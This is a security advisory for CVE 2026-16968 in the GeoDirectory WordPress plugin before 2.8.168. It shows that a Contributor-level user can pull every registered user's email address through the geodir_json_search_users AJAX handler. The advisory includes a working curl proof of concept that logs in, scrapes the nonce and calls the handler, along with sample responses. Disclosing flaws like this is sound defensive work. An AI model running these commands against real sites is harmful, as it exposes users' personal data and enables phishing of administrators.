GeoDirectory < 2.8.168 – Contributor+ User Email Disclosure via geodir_json_search_users | CVE 2026-16968

Description

The plugin does not restrict a user-search handler to users allowed to list users, allowing any authenticated user with Contributor-level access or higher to retrieve the email addresses of all registered users, including administrators.

Proof of Concept

Prerequisites:
- GeoDirectory <= 2.8.167 installed and active (it creates its front-end pages on activation).
- A Contributor-level account on the target site.

# 1. Log in as the Contributor and keep the session cookie
curl -sk -c cj.txt -d "log=CONTRIB_USER" -d "pwd=CONTRIB_PASS" \
  -d "wp-submit=Log In" -d "testcookie=1" \
  "https://victim.example/wp-login.php" -o /dev/null

# 2. Grab the search-users nonce, emitted in the geodir_params JS object on any
#    GeoDirectory front-end page (e.g. the homepage) while logged in as the Contributor
NONCE=$(curl -sk -b cj.txt "https://victim.example/" \
  | grep -oE '"search_users_nonce":"[^"]+"' | head -1 | sed 's/.*:"//;s/"//')

# 3. Call the handler; the response discloses every user's email address
curl -sk -b cj.txt \
  "https://victim.example/wp-admin/admin-ajax.php?action=geodir_json_search_users&security=$NONCE&term=a"

# Vulnerable (<= 2.8.167) response includes emails:
#   {"1":"Super Admin (#1 – admin@example.com)","2":"Simple Admin (#2 – simpleadmin@example.com)", ...}
# Fixed (2.8.168) response returns display names/IDs only, no emails:
#   {"1":"Super Admin (#1)","2":"Simple Admin (#2)", ...}